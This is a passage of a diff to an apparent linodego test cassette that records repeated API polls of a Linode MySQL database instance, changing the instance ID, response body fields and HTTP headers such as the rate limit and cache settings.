- "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18460,16 +23365,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:01:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18485,7 +23393,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18501,17 +23409,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18524,16 +23433,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:01:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18549,7 +23461,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18565,17 +23477,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18588,16 +23501,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:02:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18613,7 +23529,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18629,17 +23545,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18652,16 +23569,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:02:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18677,7 +23597,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18693,17 +23613,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18716,16 +23637,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:02:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18741,7 +23665,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18757,17 +23681,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18780,16 +23705,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:02:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18805,7 +23733,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18821,17 +23749,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18844,16 +23773,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:03:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18869,7 +23801,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18885,17 +23817,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18908,16 +23841,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:03:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18933,7 +23869,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -18949,17 +23885,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -18972,16 +23909,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:03:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -18997,7 +23937,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19013,17 +23953,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19036,16 +23977,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:03:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19061,7 +24005,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19077,17 +24021,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19100,16 +24045,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:04:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19125,7 +24073,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19141,17 +24089,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19164,16 +24113,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:04:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19189,7 +24141,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19205,17 +24157,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -19228,16 +24181,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "715" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 19:04:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -19253,7 +24209,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -19269,17 +24225,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {}, "ssl_connection": false, 